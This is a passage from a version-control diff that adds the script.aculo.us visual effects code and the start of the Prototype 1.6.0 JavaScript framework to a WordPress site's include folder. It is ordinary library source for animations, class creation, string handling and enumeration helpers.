+    },
+    afterFinishInternal: function(effect) {
+      effect.element.undoClipping().undoPositioned();
+      effect.element.down().undoPositioned().setStyle({bottom: oldInnerBottom}); }
+    }, arguments[1] || { })
+  );
+};
+
+Effect.SlideUp = function(element) {
+  element = $(element).cleanWhitespace();
+  var oldInnerBottom = element.down().getStyle('bottom');
+  var elementDimensions = element.getDimensions();
+  return new Effect.Scale(element, window.opera ? 0 : 1,
+   Object.extend({ scaleContent: false, 
+    scaleX: false, 
+    scaleMode: 'box',
+    scaleFrom: 100,
+    scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width},
+    restoreAfterFinish: true,
+    afterSetup: function(effect) {
+      effect.element.makePositioned();
+      effect.element.down().makePositioned();
+      if (window.opera) effect.element.setStyle({top: ''});
+      effect.element.makeClipping().show();
+    },  
+    afterUpdateInternal: function(effect) {
+      effect.element.down().setStyle({bottom:
+        (effect.dims[0] - effect.element.clientHeight) + 'px' });
+    },
+    afterFinishInternal: function(effect) {
+      effect.element.hide().undoClipping().undoPositioned();
+      effect.element.down().undoPositioned().setStyle({bottom: oldInnerBottom});
+    }
+   }, arguments[1] || { })
+  );
+};
+
+// Bug in opera makes the TD containing this element expand for a instance after finish 
+Effect.Squish = function(element) {
+  return new Effect.Scale(element, window.opera ? 1 : 0, { 
+    restoreAfterFinish: true,
+    beforeSetup: function(effect) {
+      effect.element.makeClipping(); 
+    },  
+    afterFinishInternal: function(effect) {
+      effect.element.hide().undoClipping(); 
+    }
+  });
+};
+
+Effect.Grow = function(element) {
+  element = $(element);
+  var options = Object.extend({
+    direction: 'center',
+    moveTransition: Effect.Transitions.sinoidal,
+    scaleTransition: Effect.Transitions.sinoidal,
+    opacityTransition: Effect.Transitions.full
+  }, arguments[1] || { });
+  var oldStyle = {
+    top: element.style.top,
+    left: element.style.left,
+    height: element.style.height,
+    width: element.style.width,
+    opacity: element.getInlineOpacity() };
+
+  var dims = element.getDimensions();    
+  var initialMoveX, initialMoveY;
+  var moveX, moveY;
+  
+  switch (options.direction) {
+    case 'top-left':
+      initialMoveX = initialMoveY = moveX = moveY = 0; 
+      break;
+    case 'top-right':
+      initialMoveX = dims.width;
+      initialMoveY = moveY = 0;
+      moveX = -dims.width;
+      break;
+    case 'bottom-left':
+      initialMoveX = moveX = 0;
+      initialMoveY = dims.height;
+      moveY = -dims.height;
+      break;
+    case 'bottom-right':
+      initialMoveX = dims.width;
+      initialMoveY = dims.height;
+      moveX = -dims.width;
+      moveY = -dims.height;
+      break;
+    case 'center':
+      initialMoveX = dims.width / 2;
+      initialMoveY = dims.height / 2;
+      moveX = -dims.width / 2;
+      moveY = -dims.height / 2;
+      break;
+  }
+  
+  return new Effect.Move(element, {
+    x: initialMoveX,
+    y: initialMoveY,
+    duration: 0.01, 
+    beforeSetup: function(effect) {
+      effect.element.hide().makeClipping().makePositioned();
+    },
+    afterFinishInternal: function(effect) {
+      new Effect.Parallel(
+        [ new Effect.Opacity(effect.element, { sync: true, to: 1.0, from: 0.0, transition: options.opacityTransition }),
+          new Effect.Move(effect.element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition }),
+          new Effect.Scale(effect.element, 100, {
+            scaleMode: { originalHeight: dims.height, originalWidth: dims.width }, 
+            sync: true, scaleFrom: window.opera ? 1 : 0, transition: options.scaleTransition, restoreAfterFinish: true})
+        ], Object.extend({
+             beforeSetup: function(effect) {
+               effect.effects[0].element.setStyle({height: '0px'}).show(); 
+             },
+             afterFinishInternal: function(effect) {
+               effect.effects[0].element.undoClipping().undoPositioned().setStyle(oldStyle); 
+             }
+           }, options)
+      )
+    }
+  });
+};
+
+Effect.Shrink = function(element) {
+  element = $(element);
+  var options = Object.extend({
+    direction: 'center',
+    moveTransition: Effect.Transitions.sinoidal,
+    scaleTransition: Effect.Transitions.sinoidal,
+    opacityTransition: Effect.Transitions.none
+  }, arguments[1] || { });
+  var oldStyle = {
+    top: element.style.top,
+    left: element.style.left,
+    height: element.style.height,
+    width: element.style.width,
+    opacity: element.getInlineOpacity() };
+
+  var dims = element.getDimensions();
+  var moveX, moveY;
+  
+  switch (options.direction) {
+    case 'top-left':
+      moveX = moveY = 0;
+      break;
+    case 'top-right':
+      moveX = dims.width;
+      moveY = 0;
+      break;
+    case 'bottom-left':
+      moveX = 0;
+      moveY = dims.height;
+      break;
+    case 'bottom-right':
+      moveX = dims.width;
+      moveY = dims.height;
+      break;
+    case 'center':  
+      moveX = dims.width / 2;
+      moveY = dims.height / 2;
+      break;
+  }
+  
+  return new Effect.Parallel(
+    [ new Effect.Opacity(element, { sync: true, to: 0.0, from: 1.0, transition: options.opacityTransition }),
+      new Effect.Scale(element, window.opera ? 1 : 0, { sync: true, transition: options.scaleTransition, restoreAfterFinish: true}),
+      new Effect.Move(element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition })
+    ], Object.extend({            
+         beforeStartInternal: function(effect) {
+           effect.effects[0].element.makePositioned().makeClipping(); 
+         },
+         afterFinishInternal: function(effect) {
+           effect.effects[0].element.hide().undoClipping().undoPositioned().setStyle(oldStyle); }
+       }, options)
+  );
+};
+
+Effect.Pulsate = function(element) {
+  element = $(element);
+  var options    = arguments[1] || { };
+  var oldOpacity = element.getInlineOpacity();
+  var transition = options.transition || Effect.Transitions.sinoidal;
+  var reverser   = function(pos){ return transition(1-Effect.Transitions.pulse(pos, options.pulses)) };
+  reverser.bind(transition);
+  return new Effect.Opacity(element, 
+    Object.extend(Object.extend({  duration: 2.0, from: 0,
+      afterFinishInternal: function(effect) { effect.element.setStyle({opacity: oldOpacity}); }
+    }, options), {transition: reverser}));
+};
+
+Effect.Fold = function(element) {
+  element = $(element);
+  var oldStyle = {
+    top: element.style.top,
+    left: element.style.left,
+    width: element.style.width,
+    height: element.style.height };
+  element.makeClipping();
+  return new Effect.Scale(element, 5, Object.extend({   
+    scaleContent: false,
+    scaleX: false,
+    afterFinishInternal: function(effect) {
+    new Effect.Scale(element, 1, { 
+      scaleContent: false, 
+      scaleY: false,
+      afterFinishInternal: function(effect) {
+        effect.element.hide().undoClipping().setStyle(oldStyle);
+      } });
+  }}, arguments[1] || { }));
+};
+
+Effect.Morph = Class.create(Effect.Base, {
+  initialize: function(element) {
+    this.element = $(element);
+    if (!this.element) throw(Effect._elementDoesNotExistError);
+    var options = Object.extend({
+      style: { }
+    }, arguments[1] || { });
+    
+    if (!Object.isString(options.style)) this.style = $H(options.style);
+    else {
+      if (options.style.include(':'))
+        this.style = options.style.parseStyle();
+      else {
+        this.element.addClassName(options.style);
+        this.style = $H(this.element.getStyles());
+        this.element.removeClassName(options.style);
+        var css = this.element.getStyles();
+        this.style = this.style.reject(function(style) {
+          return style.value == css[style.key];
+        });
+        options.afterFinishInternal = function(effect) {
+          effect.element.addClassName(effect.options.style);
+          effect.transforms.each(function(transform) {
+            effect.element.style[transform.style] = '';
+          });
+        }
+      }
+    }
+    this.start(options);
+  },
+  
+  setup: function(){
+    function parseColor(color){
+      if (!color || ['rgba(0, 0, 0, 0)','transparent'].include(color)) color = '#ffffff';
+      color = color.parseColor();
+      return $R(0,2).map(function(i){
+        return parseInt( color.slice(i*2+1,i*2+3), 16 ) 
+      });
+    }
+    this.transforms = this.style.map(function(pair){
+      var property = pair[0], value = pair[1], unit = null;
+
+      if (value.parseColor('#zzzzzz') != '#zzzzzz') {
+        value = value.parseColor();
+        unit  = 'color';
+      } else if (property == 'opacity') {
+        value = parseFloat(value);
+        if (Prototype.Browser.IE && (!this.element.currentStyle.hasLayout))
+          this.element.setStyle({zoom: 1});
+      } else if (Element.CSS_LENGTH.test(value)) {
+          var components = value.match(/^([\+\-]?[0-9\.]+)(.*)$/);
+          value = parseFloat(components[1]);
+          unit = (components.length == 3) ? components[2] : null;
+      }
+
+      var originalValue = this.element.getStyle(property);
+      return { 
+        style: property.camelize(), 
+        originalValue: unit=='color' ? parseColor(originalValue) : parseFloat(originalValue || 0), 
+        targetValue: unit=='color' ? parseColor(value) : value,
+        unit: unit
+      };
+    }.bind(this)).reject(function(transform){
+      return (
+        (transform.originalValue == transform.targetValue) ||
+        (
+          transform.unit != 'color' &&
+          (isNaN(transform.originalValue) || isNaN(transform.targetValue))
+        )
+      )
+    });
+  },
+  update: function(position) {
+    var style = { }, transform, i = this.transforms.length;
+    while(i--)
+      style[(transform = this.transforms[i]).style] = 
+        transform.unit=='color' ? '#'+
+          (Math.round(transform.originalValue[0]+
+            (transform.targetValue[0]-transform.originalValue[0])*position)).toColorPart() +
+          (Math.round(transform.originalValue[1]+
+            (transform.targetValue[1]-transform.originalValue[1])*position)).toColorPart() +
+          (Math.round(transform.originalValue[2]+
+            (transform.targetValue[2]-transform.originalValue[2])*position)).toColorPart() :
+        (transform.originalValue +
+          (transform.targetValue - transform.originalValue) * position).toFixed(3) + 
+            (transform.unit === null ? '' : transform.unit);
+    this.element.setStyle(style, true);
+  }
+});
+
+Effect.Transform = Class.create({
+  initialize: function(tracks){
+    this.tracks  = [];
+    this.options = arguments[1] || { };
+    this.addTracks(tracks);
+  },
+  addTracks: function(tracks){
+    tracks.each(function(track){
+      track = $H(track);
+      var data = track.values().first();
+      this.tracks.push($H({
+        ids:     track.keys().first(),
+        effect:  Effect.Morph,
+        options: { style: data }
+      }));
+    }.bind(this));
+    return this;
+  },
+  play: function(){
+    return new Effect.Parallel(
+      this.tracks.map(function(track){
+        var ids = track.get('ids'), effect = track.get('effect'), options = track.get('options');
+        var elements = [$(ids) || $$(ids)].flatten();
+        return elements.map(function(e){ return new effect(e, Object.extend({ sync:true }, options)) });
+      }).flatten(),
+      this.options
+    );
+  }
+});
+
+Element.CSS_PROPERTIES = $w(
+  'backgroundColor backgroundPosition borderBottomColor borderBottomStyle ' + 
+  'borderBottomWidth borderLeftColor borderLeftStyle borderLeftWidth ' +
+  'borderRightColor borderRightStyle borderRightWidth borderSpacing ' +
+  'borderTopColor borderTopStyle borderTopWidth bottom clip color ' +
+  'fontSize fontWeight height left letterSpacing lineHeight ' +
+  'marginBottom marginLeft marginRight marginTop markerOffset maxHeight '+
+  'maxWidth minHeight minWidth opacity outlineColor outlineOffset ' +
+  'outlineWidth paddingBottom paddingLeft paddingRight paddingTop ' +
+  'right textIndent top width wordSpacing zIndex');
+  
+Element.CSS_LENGTH = /^(([\+\-]?[0-9\.]+)(em|ex|px|in|cm|mm|pt|pc|\%))|0$/;
+
+String.__parseStyleElement = document.createElement('div');
+String.prototype.parseStyle = function(){
+  var style, styleRules = $H();
+  if (Prototype.Browser.WebKit)
+    style = new Element('div',{style:this}).style;
+  else {
+    String.__parseStyleElement.innerHTML = '<div style="' + this + '"></div>';
+    style = String.__parseStyleElement.childNodes[0].style;
+  }
+  
+  Element.CSS_PROPERTIES.each(function(property){
+    if (style[property]) styleRules.set(property, style[property]); 
+  });
+  
+  if (Prototype.Browser.IE && this.include('opacity'))
+    styleRules.set('opacity', this.match(/opacity:\s*((?:0|1)?(?:\.\d*)?)/)[1]);
+
+  return styleRules;
+};
+
+if (document.defaultView && document.defaultView.getComputedStyle) {
+  Element.getStyles = function(element) {
+    var css = document.defaultView.getComputedStyle($(element), null);
+    return Element.CSS_PROPERTIES.inject({ }, function(styles, property) {
+      styles[property] = css[property];
+      return styles;
+    });
+  };
+} else {
+  Element.getStyles = function(element) {
+    element = $(element);
+    var css = element.currentStyle, styles;
+    styles = Element.CSS_PROPERTIES.inject({ }, function(hash, property) {
+      hash.set(property, css[property]);
+      return hash;
+    });
+    if (!styles.opacity) styles.set('opacity', element.getOpacity());
+    return styles;
+  };
+};
+
+Effect.Methods = {
+  morph: function(element, style) {
+    element = $(element);
+    new Effect.Morph(element, Object.extend({ style: style }, arguments[2] || { }));
+    return element;
+  },
+  visualEffect: function(element, effect, options) {
+    element = $(element)
+    var s = effect.dasherize().camelize(), klass = s.charAt(0).toUpperCase() + s.substring(1);
+    new Effect[klass](element, options);
+    return element;
+  },
+  highlight: function(element, options) {
+    element = $(element);
+    new Effect.Highlight(element, options);
+    return element;
+  }
+};
+
+$w('fade appear grow shrink fold blindUp blindDown slideUp slideDown '+
+  'pulsate shake puff squish switchOff dropOut').each(
+  function(effect) { 
+    Effect.Methods[effect] = function(element, options){
+      element = $(element);
+      Effect[effect.charAt(0).toUpperCase() + effect.substring(1)](element, options);
+      return element;
+    }
+  }
+);
+
+$w('getInlineOpacity forceRerendering setContentZoom collectTextNodes collectTextNodesIgnoreClass getStyles').each( 
+  function(f) { Effect.Methods[f] = Element[f]; }
+);
+
+Element.addMethods(Effect.Methods);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/prototype.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/prototype.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/scriptaculous/prototype.js	(revision 44)
@@ -0,0 +1,4184 @@
+/*  Prototype JavaScript framework, version 1.6.0
+ *  (c) 2005-2007 Sam Stephenson
+ *
+ *  Prototype is freely distributable under the terms of an MIT-style license.
+ *  For details, see the Prototype web site: http://www.prototypejs.org/
+ *
+ *--------------------------------------------------------------------------*/
+
+var Prototype = {
+  Version: '1.6.0',
+
+  Browser: {
+    IE:     !!(window.attachEvent && !window.opera),
+    Opera:  !!window.opera,
+    WebKit: navigator.userAgent.indexOf('AppleWebKit/') > -1,
+    Gecko:  navigator.userAgent.indexOf('Gecko') > -1 && navigator.userAgent.indexOf('KHTML') == -1,
+    MobileSafari: !!navigator.userAgent.match(/Apple.*Mobile.*Safari/)
+  },
+
+  BrowserFeatures: {
+    XPath: !!document.evaluate,
+    ElementExtensions: !!window.HTMLElement,
+    SpecificElementExtensions:
+      document.createElement('div').__proto__ &&
+      document.createElement('div').__proto__ !==
+        document.createElement('form').__proto__
+  },
+
+  ScriptFragment: '<script[^>]*>([\\S\\s]*?)<\/script>',
+  JSONFilter: /^\/\*-secure-([\s\S]*)\*\/\s*$/,
+
+  emptyFunction: function() { },
+  K: function(x) { return x }
+};
+
+if (Prototype.Browser.MobileSafari)
+  Prototype.BrowserFeatures.SpecificElementExtensions = false;
+
+if (Prototype.Browser.WebKit)
+  Prototype.BrowserFeatures.XPath = false;
+
+/* Based on Alex Arnell's inheritance implementation. */
+var Class = {
+  create: function() {
+    var parent = null, properties = $A(arguments);
+    if (Object.isFunction(properties[0]))
+      parent = properties.shift();
+
+    function klass() {
+      this.initialize.apply(this, arguments);
+    }
+
+    Object.extend(klass, Class.Methods);
+    klass.superclass = parent;
+    klass.subclasses = [];
+
+    if (parent) {
+      var subclass = function() { };
+      subclass.prototype = parent.prototype;
+      klass.prototype = new subclass;
+      parent.subclasses.push(klass);
+    }
+
+    for (var i = 0; i < properties.length; i++)
+      klass.addMethods(properties[i]);
+
+    if (!klass.prototype.initialize)
+      klass.prototype.initialize = Prototype.emptyFunction;
+
+    klass.prototype.constructor = klass;
+
+    return klass;
+  }
+};
+
+Class.Methods = {
+  addMethods: function(source) {
+    var ancestor   = this.superclass && this.superclass.prototype;
+    var properties = Object.keys(source);
+
+    if (!Object.keys({ toString: true }).length)
+      properties.push("toString", "valueOf");
+
+    for (var i = 0, length = properties.length; i < length; i++) {
+      var property = properties[i], value = source[property];
+      if (ancestor && Object.isFunction(value) &&
+          value.argumentNames().first() == "$super") {
+        var method = value, value = Object.extend((function(m) {
+          return function() { return ancestor[m].apply(this, arguments) };
+        })(property).wrap(method), {
+          valueOf:  function() { return method },
+          toString: function() { return method.toString() }
+        });
+      }
+      this.prototype[property] = value;
+    }
+
+    return this;
+  }
+};
+
+var Abstract = { };
+
+Object.extend = function(destination, source) {
+  for (var property in source)
+    destination[property] = source[property];
+  return destination;
+};
+
+Object.extend(Object, {
+  inspect: function(object) {
+    try {
+      if (object === undefined) return 'undefined';
+      if (object === null) return 'null';
+      return object.inspect ? object.inspect() : object.toString();
+    } catch (e) {
+      if (e instanceof RangeError) return '...';
+      throw e;
+    }
+  },
+
+  toJSON: function(object) {
+    var type = typeof object;
+    switch (type) {
+      case 'undefined':
+      case 'function':
+      case 'unknown': return;
+      case 'boolean': return object.toString();
+    }
+
+    if (object === null) return 'null';
+    if (object.toJSON) return object.toJSON();
+    if (Object.isElement(object)) return;
+
+    var results = [];
+    for (var property in object) {
+      var value = Object.toJSON(object[property]);
+      if (value !== undefined)
+        results.push(property.toJSON() + ': ' + value);
+    }
+
+    return '{' + results.join(', ') + '}';
+  },
+
+  toQueryString: function(object) {
+    return $H(object).toQueryString();
+  },
+
+  toHTML: function(object) {
+    return object && object.toHTML ? object.toHTML() : String.interpret(object);
+  },
+
+  keys: function(object) {
+    var keys = [];
+    for (var property in object)
+      keys.push(property);
+    return keys;
+  },
+
+  values: function(object) {
+    var values = [];
+    for (var property in object)
+      values.push(object[property]);
+    return values;
+  },
+
+  clone: function(object) {
+    return Object.extend({ }, object);
+  },
+
+  isElement: function(object) {
+    return object && object.nodeType == 1;
+  },
+
+  isArray: function(object) {
+    return object && object.constructor === Array;
+  },
+
+  isHash: function(object) {
+    return object instanceof Hash;
+  },
+
+  isFunction: function(object) {
+    return typeof object == "function";
+  },
+
+  isString: function(object) {
+    return typeof object == "string";
+  },
+
+  isNumber: function(object) {
+    return typeof object == "number";
+  },
+
+  isUndefined: function(object) {
+    return typeof object == "undefined";
+  }
+});
+
+Object.extend(Function.prototype, {
+  argumentNames: function() {
+    var names = this.toString().match(/^[\s\(]*function[^(]*\((.*?)\)/)[1].split(",").invoke("strip");
+    return names.length == 1 && !names[0] ? [] : names;
+  },
+
+  bind: function() {
+    if (arguments.length < 2 && arguments[0] === undefined) return this;
+    var __method = this, args = $A(arguments), object = args.shift();
+    return function() {
+      return __method.apply(object, args.concat($A(arguments)));
+    }
+  },
+
+  bindAsEventListener: function() {
+    var __method = this, args = $A(arguments), object = args.shift();
+    return function(event) {
+      return __method.apply(object, [event || window.event].concat(args));
+    }
+  },
+
+  curry: function() {
+    if (!arguments.length) return this;
+    var __method = this, args = $A(arguments);
+    return function() {
+      return __method.apply(this, args.concat($A(arguments)));
+    }
+  },
+
+  delay: function() {
+    var __method = this, args = $A(arguments), timeout = args.shift() * 1000;
+    return window.setTimeout(function() {
+      return __method.apply(__method, args);
+    }, timeout);
+  },
+
+  wrap: function(wrapper) {
+    var __method = this;
+    return function() {
+      return wrapper.apply(this, [__method.bind(this)].concat($A(arguments)));
+    }
+  },
+
+  methodize: function() {
+    if (this._methodized) return this._methodized;
+    var __method = this;
+    return this._methodized = function() {
+      return __method.apply(null, [this].concat($A(arguments)));
+    };
+  }
+});
+
+Function.prototype.defer = Function.prototype.delay.curry(0.01);
+
+Date.prototype.toJSON = function() {
+  return '"' + this.getUTCFullYear() + '-' +
+    (this.getUTCMonth() + 1).toPaddedString(2) + '-' +
+    this.getUTCDate().toPaddedString(2) + 'T' +
+    this.getUTCHours().toPaddedString(2) + ':' +
+    this.getUTCMinutes().toPaddedString(2) + ':' +
+    this.getUTCSeconds().toPaddedString(2) + 'Z"';
+};
+
+var Try = {
+  these: function() {
+    var returnValue;
+
+    for (var i = 0, length = arguments.length; i < length; i++) {
+      var lambda = arguments[i];
+      try {
+        returnValue = lambda();
+        break;
+      } catch (e) { }
+    }
+
+    return returnValue;
+  }
+};
+
+RegExp.prototype.match = RegExp.prototype.test;
+
+RegExp.escape = function(str) {
+  return String(str).replace(/([.*+?^=!:${}()|[\]\/\\])/g, '\\$1');
+};
+
+/*--------------------------------------------------------------------------*/
+
+var PeriodicalExecuter = Class.create({
+  initialize: function(callback, frequency) {
+    this.callback = callback;
+    this.frequency = frequency;
+    this.currentlyExecuting = false;
+
+    this.registerCallback();
+  },
+
+  registerCallback: function() {
+    this.timer = setInterval(this.onTimerEvent.bind(this), this.frequency * 1000);
+  },
+
+  execute: function() {
+    this.callback(this);
+  },
+
+  stop: function() {
+    if (!this.timer) return;
+    clearInterval(this.timer);
+    this.timer = null;
+  },
+
+  onTimerEvent: function() {
+    if (!this.currentlyExecuting) {
+      try {
+        this.currentlyExecuting = true;
+        this.execute();
+      } finally {
+        this.currentlyExecuting = false;
+      }
+    }
+  }
+});
+Object.extend(String, {
+  interpret: function(value) {
+    return value == null ? '' : String(value);
+  },
+  specialChar: {
+    '\b': '\\b',
+    '\t': '\\t',
+    '\n': '\\n',
+    '\f': '\\f',
+    '\r': '\\r',
+    '\\': '\\\\'
+  }
+});
+
+Object.extend(String.prototype, {
+  gsub: function(pattern, replacement) {
+    var result = '', source = this, match;
+    replacement = arguments.callee.prepareReplacement(replacement);
+
+    while (source.length > 0) {
+      if (match = source.match(pattern)) {
+        result += source.slice(0, match.index);
+        result += String.interpret(replacement(match));
+        source  = source.slice(match.index + match[0].length);
+      } else {
+        result += source, source = '';
+      }
+    }
+    return result;
+  },
+
+  sub: function(pattern, replacement, count) {
+    replacement = this.gsub.prepareReplacement(replacement);
+    count = count === undefined ? 1 : count;
+
+    return this.gsub(pattern, function(match) {
+      if (--count < 0) return match[0];
+      return replacement(match);
+    });
+  },
+
+  scan: function(pattern, iterator) {
+    this.gsub(pattern, iterator);
+    return String(this);
+  },
+
+  truncate: function(length, truncation) {
+    length = length || 30;
+    truncation = truncation === undefined ? '...' : truncation;
+    return this.length > length ?
+      this.slice(0, length - truncation.length) + truncation : String(this);
+  },
+
+  strip: function() {
+    return this.replace(/^\s+/, '').replace(/\s+$/, '');
+  },
+
+  stripTags: function() {
+    return this.replace(/<\/?[^>]+>/gi, '');
+  },
+
+  stripScripts: function() {
+    return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), '');
+  },
+
+  extractScripts: function() {
+    var matchAll = new RegExp(Prototype.ScriptFragment, 'img');
+    var matchOne = new RegExp(Prototype.ScriptFragment, 'im');
+    return (this.match(matchAll) || []).map(function(scriptTag) {
+      return (scriptTag.match(matchOne) || ['', ''])[1];
+    });
+  },
+
+  evalScripts: function() {
+    return this.extractScripts().map(function(script) { return eval(script) });
+  },
+
+  escapeHTML: function() {
+    var self = arguments.callee;
+    self.text.data = this;
+    return self.div.innerHTML;
+  },
+
+  unescapeHTML: function() {
+    var div = new Element('div');
+    div.innerHTML = this.stripTags();
+    return div.childNodes[0] ? (div.childNodes.length > 1 ?
+      $A(div.childNodes).inject('', function(memo, node) { return memo+node.nodeValue }) :
+      div.childNodes[0].nodeValue) : '';
+  },
+
+  toQueryParams: function(separator) {
+    var match = this.strip().match(/([^?#]*)(#.*)?$/);
+    if (!match) return { };
+
+    return match[1].split(separator || '&').inject({ }, function(hash, pair) {
+      if ((pair = pair.split('='))[0]) {
+        var key = decodeURIComponent(pair.shift());
+        var value = pair.length > 1 ? pair.join('=') : pair[0];
+        if (value != undefined) value = decodeURIComponent(value);
+
+        if (key in hash) {
+          if (!Object.isArray(hash[key])) hash[key] = [hash[key]];
+          hash[key].push(value);
+        }
+        else hash[key] = value;
+      }
+      return hash;
+    });
+  },
+
+  toArray: function() {
+    return this.split('');
+  },
+
+  succ: function() {
+    return this.slice(0, this.length - 1) +
+      String.fromCharCode(this.charCodeAt(this.length - 1) + 1);
+  },
+
+  times: function(count) {
+    return count < 1 ? '' : new Array(count + 1).join(this);
+  },
+
+  camelize: function() {
+    var parts = this.split('-'), len = parts.length;
+    if (len == 1) return parts[0];
+
+    var camelized = this.charAt(0) == '-'
+      ? parts[0].charAt(0).toUpperCase() + parts[0].substring(1)
+      : parts[0];
+
+    for (var i = 1; i < len; i++)
+      camelized += parts[i].charAt(0).toUpperCase() + parts[i].substring(1);
+
+    return camelized;
+  },
+
+  capitalize: function() {
+    return this.charAt(0).toUpperCase() + this.substring(1).toLowerCase();
+  },
+
+  underscore: function() {
+    return this.gsub(/::/, '/').gsub(/([A-Z]+)([A-Z][a-z])/,'#{1}_#{2}').gsub(/([a-z\d])([A-Z])/,'#{1}_#{2}').gsub(/-/,'_').toLowerCase();
+  },
+
+  dasherize: function() {
+    return this.gsub(/_/,'-');
+  },
+
+  inspect: function(useDoubleQuotes) {
+    var escapedString = this.gsub(/[\x00-\x1f\\]/, function(match) {
+      var character = String.specialChar[match[0]];
+      return character ? character : '\\u00' + match[0].charCodeAt().toPaddedString(2, 16);
+    });
+    if (useDoubleQuotes) return '"' + escapedString.replace(/"/g, '\\"') + '"';
+    return "'" + escapedString.replace(/'/g, '\\\'') + "'";
+  },
+
+  toJSON: function() {
+    return this.inspect(true);
+  },
+
+  unfilterJSON: function(filter) {
+    return this.sub(filter || Prototype.JSONFilter, '#{1}');
+  },
+
+  isJSON: function() {
+    var str = this.replace(/\\./g, '@').replace(/"[^"\\\n\r]*"/g, '');
+    return (/^[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]*$/).test(str);
+  },
+
+  evalJSON: function(sanitize) {
+    var json = this.unfilterJSON();
+    try {
+      if (!sanitize || json.isJSON()) return eval('(' + json + ')');
+    } catch (e) { }
+    throw new SyntaxError('Badly formed JSON string: ' + this.inspect());
+  },
+
+  include: function(pattern) {
+    return this.indexOf(pattern) > -1;
+  },
+
+  startsWith: function(pattern) {
+    return this.indexOf(pattern) === 0;
+  },
+
+  endsWith: function(pattern) {
+    var d = this.length - pattern.length;
+    return d >= 0 && this.lastIndexOf(pattern) === d;
+  },
+
+  empty: function() {
+    return this == '';
+  },
+
+  blank: function() {
+    return /^\s*$/.test(this);
+  },
+
+  interpolate: function(object, pattern) {
+    return new Template(this, pattern).evaluate(object);
+  }
+});
+
+if (Prototype.Browser.WebKit || Prototype.Browser.IE) Object.extend(String.prototype, {
+  escapeHTML: function() {
+    return this.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;');
+  },
+  unescapeHTML: function() {
+    return this.replace(/&amp;/g,'&').replace(/&lt;/g,'<').replace(/&gt;/g,'>');
+  }
+});
+
+String.prototype.gsub.prepareReplacement = function(replacement) {
+  if (Object.isFunction(replacement)) return replacement;
+  var template = new Template(replacement);
+  return function(match) { return template.evaluate(match) };
+};
+
+String.prototype.parseQuery = String.prototype.toQueryParams;
+
+Object.extend(String.prototype.escapeHTML, {
+  div:  document.createElement('div'),
+  text: document.createTextNode('')
+});
+
+with (String.prototype.escapeHTML) div.appendChild(text);
+
+var Template = Class.create({
+  initialize: function(template, pattern) {
+    this.template = template.toString();
+    this.pattern = pattern || Template.Pattern;
+  },
+
+  evaluate: function(object) {
+    if (Object.isFunction(object.toTemplateReplacements))
+      object = object.toTemplateReplacements();
+
+    return this.template.gsub(this.pattern, function(match) {
+      if (object == null) return '';
+
+      var before = match[1] || '';
+      if (before == '\\') return match[2];
+
+      var ctx = object, expr = match[3];
+      var pattern = /^([^.[]+|\[((?:.*?[^\\])?)\])(\.|\[|$)/, match = pattern.exec(expr);
+      if (match == null) return before;
+
+      while (match != null) {
+        var comp = match[1].startsWith('[') ? match[2].gsub('\\\\]', ']') : match[1];
+        ctx = ctx[comp];
+        if (null == ctx || '' == match[3]) break;
+        expr = expr.substring('[' == match[3] ? match[1].length : match[0].length);
+        match = pattern.exec(expr);
+      }
+
+      return before + String.interpret(ctx);
+    }.bind(this));
+  }
+});
+Template.Pattern = /(^|.|\r|\n)(#\{(.*?)\})/;
+
+var $break = { };
+
+var Enumerable = {
+  each: function(iterator, context) {
+    var index = 0;
+    iterator = iterator.bind(context);
+    try {
+      this._each(function(value) {
+        iterator(value, index++);
+      });
+    } catch (e) {
+      if (e != $break) throw e;
+    }
+    return this;
+  },
+
+  eachSlice: function(number, iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var index = -number, slices = [], array = this.toArray();
+    while ((index += number) < array.length)
+      slices.push(array.slice(index, index+number));
+    return slices.collect(iterator, context);
+  },
+
+  all: function(iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var result = true;
+    this.each(function(value, index) {
+      result = result && !!iterator(value, index);
+      if (!result) throw $break;
+    });
+    return result;
+  },
+
+  any: function(iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var result = false;
+    this.each(function(value, index) {
+      if (result = !!iterator(value, index))
+        throw $break;
+    });
+    return result;
+  },
+
+  collect: function(iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var results = [];
+    this.each(function(value, index) {
+      results.push(iterator(value, index));
+    });
+    return results;
+  },
+
+  detect: function(iterator, context) {
+    iterator = iterator.bind(context);
+    var result;
+    this.each(function(value, index) {
+      if (iterator(value, index)) {
+        result = value;
+        throw $break;
+      }
+    });
+    return result;
+  },
+
+  findAll: function(iterator, context) {
+    iterator = iterator.bind(context);
+    var results = [];
+    this.each(function(value, index) {
+      if (iterator(value, index))
+        results.push(value);
+    });
+    return results;
+  },
+
+  grep: function(filter, iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var results = [];
+
+    if (Object.isString(filter))
+      filter = new RegExp(filter);
+
+    this.each(function(value, index) {
+      if (filter.match(value))
+        results.push(iterator(value, index));
+    });
+    return results;
+  },
+
+  include: function(object) {
+    if (Object.isFunction(this.indexOf))
+      if (this.indexOf(object) != -1) return true;
+
+    var found = false;
+    this.each(function(value) {
+      if (value == object) {
+        found = true;
+        throw $break;
+      }
+    });
+    return found;
+  },
+
+  inGroupsOf: function(number, fillWith) {
+    fillWith = fillWith === undefined ? null : fillWith;
+    return this.eachSlice(number, function(slice) {
+      while(slice.length < number) slice.push(fillWith);
+      return slice;
+    });
+  },
+
+  inject: function(memo, iterator, context) {
+    iterator = iterator.bind(context);
+    this.each(function(value, index) {
+      memo = iterator(memo, value, index);
+    });
+    return memo;
+  },
+
+  invoke: function(method) {
+    var args = $A(arguments).slice(1);
+    return this.map(function(value) {
+      return value[method].apply(value, args);
+    });
+  },
+
+  max: function(iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var result;
+    this.each(function(value, index) {
